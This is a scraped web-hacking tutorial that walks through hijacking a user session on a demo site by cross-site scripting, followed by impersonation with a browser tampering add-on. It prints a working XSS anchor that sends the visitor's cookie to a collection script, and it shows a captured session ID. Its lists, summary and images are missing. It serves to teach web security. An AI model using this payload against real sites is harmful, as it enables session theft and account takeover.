How to Hack a Website: Hacking Websites Online Example

More people have access to the internet than ever before. This has prompted many organizations to develop web-based applications that users can use online to interact with the organization. Poorly written code for web applications can be exploited to gain unauthorized access to sensitive data and web servers.

In this tutorial you will learn how to hack websites, and we will introduce you to web application hacking techniques and the counter measures you can put in place to protect against such attacks.

Topics covered in this tutorial

What is a web application? What are Web Threats?

A web application (aka website) is an application based on the client-server model. The server provides the database access and the business logic. It is hosted on a web server. The client application runs on the client web browser. Web applications are usually written in languages such as Java, C#, and VB.Net, PHP, ColdFusion Markup Language, etc. the database engines used in web applications include MySQL, MS SQL Server, PostgreSQL, SQLite, etc.

Most web applications are hosted on public servers accessible via the Internet. This makes them vulnerable to attacks due to easy accessibility. The following are common web application threats.

How to protect your Website against hacks?

An organization can adopt the following policy to protect itself against web server attacks.

Website hacking tricks: Hack a Website online

In this website hacking practical scenario, we are going to hijack the user session of the web application located at www.techpanda.org. We will use cross site scripting to read the cookie session id then use it to impersonate a legitimate user session.

The assumption made is that the attacker has access to the web application and he would like to hijack the sessions of other users that use the same application. The goal of this attack could be to gain admin access to the web application assuming the attacker’s access account is a limited one.

Getting started

How to hack a Website

<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>

HERE,

The above code uses JavaScript. It adds a hyperlink with an onclick event. When the unsuspecting user clicks the link, the event retrieves the PHP cookie session ID and sends it to the snatch_sess_id.php page together with the session id in the URL

How to hack a Website

 

How to hack a Website

How to hack a Website

How to hack a Website

Note: the script could be sending the value to some remote server where the PHPSESSID is stored then the user redirected back to the website as if nothing happened.

Note: the value you get may be different from the one in this webpage hacking tutorial, but the concept is the same

Session Impersonation using Firefox and Tamper Data add-on

The flowchart below shows the steps that you must take to complete this exercise.

How to hack a Website

How to hack a Website

How to hack a Website

How to hack a Website

How to hack a Website

How to hack a Website

How to hack a Website

How to hack a Website

How to hack a Website

How to hack a Website

How to hack a Website

PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2

How to hack a Website

How to hack a Website

Note: we did not login, we impersonated a login session using the PHPSESSID value we retrieved using cross site scripting

Summary

 

gtupapers is Sponsored by Netsparker
Netsparker

Netsparker, the developers of Proof Based Scanning technology, have sponsored the gtupapers project to help raise web application security awareness and allow more developers to learn about writing secure code